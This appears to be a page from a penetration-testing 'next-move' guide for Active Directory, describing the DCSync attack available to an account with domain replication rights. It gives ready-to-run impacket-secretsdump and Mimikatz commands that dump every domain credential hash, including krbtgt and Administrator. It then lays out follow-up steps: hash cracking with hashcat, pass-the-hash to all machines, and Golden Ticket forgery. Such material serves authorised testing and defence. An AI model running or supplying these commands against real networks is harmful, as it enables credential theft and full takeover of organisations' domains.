OPSECTLAS you are here: Replication rights
next-move engine

You have Replication rights

1 high-yield move from here, ordered the way the engagement runs. Open any move to see the exact commands.

  1. needsReplication rightsDomain Admin
    yieldsNT hashkrbtgt hash
    toolsimpacketmimikatz
    Requirements

    Account with one of these rights on the domain: DS-Replication-Get-Changes, DS-Replication-Get-Changes-All (Domain Admins, Enterprise Admins, or explicitly delegated).

    From Linux · impacket-secretsdump

    impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP>
    impacket-secretsdump <DOMAIN>/<USER>@<DC-IP> -hashes :<NTLM-HASH>

    Dump specific user

    impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc-user Administrator
    impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc-user krbtgt

    From Windows · Mimikatz

    lsadump::dcsync /domain:<DOMAIN> /all
    lsadump::dcsync /domain:<DOMAIN> /user:Administrator
    lsadump::dcsync /domain:<DOMAIN> /user:krbtgt       # For Golden Ticket

    What to do with the output:

    1. Crack NTLM hashes: hashcat -m 1000 hashes.txt rockyou.txt

    2. PTH with Administrator hash to all machines

    3. Use krbtgt hash → create Golden Ticket

    4. Dump to file: impacket-secretsdump ... | tee loot/dcsync.txt